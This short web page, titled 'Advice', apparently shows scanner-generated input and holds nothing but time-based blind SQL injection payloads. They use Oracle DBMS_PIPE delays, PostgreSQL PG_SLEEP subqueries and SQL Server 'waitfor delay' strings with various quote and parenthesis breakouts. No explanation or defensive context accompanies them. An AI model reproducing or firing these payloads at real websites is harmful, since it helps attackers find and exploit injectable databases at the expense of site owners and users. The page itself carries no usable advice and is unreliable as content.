Advice

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555TlNy4Lr6′)) OR 314=(SELECT 314 FROM PG_SLEEP(15))–

555e7SnOVsa’) OR 125=(SELECT 125 FROM PG_SLEEP(15))–

555XEqc5Fkj’ OR 898=(SELECT 898 FROM PG_SLEEP(15))–

555-1)) OR 252=(SELECT 252 FROM PG_SLEEP(15))–

555-1) OR 357=(SELECT 357 FROM PG_SLEEP(15))–

555-1 OR 690=(SELECT 690 FROM PG_SLEEP(15))–

555GkFB59NG’; waitfor delay ‘0:0:15’ —

555-1 waitfor delay ‘0:0:15’ —

555-1); waitfor delay ‘0:0:15’ —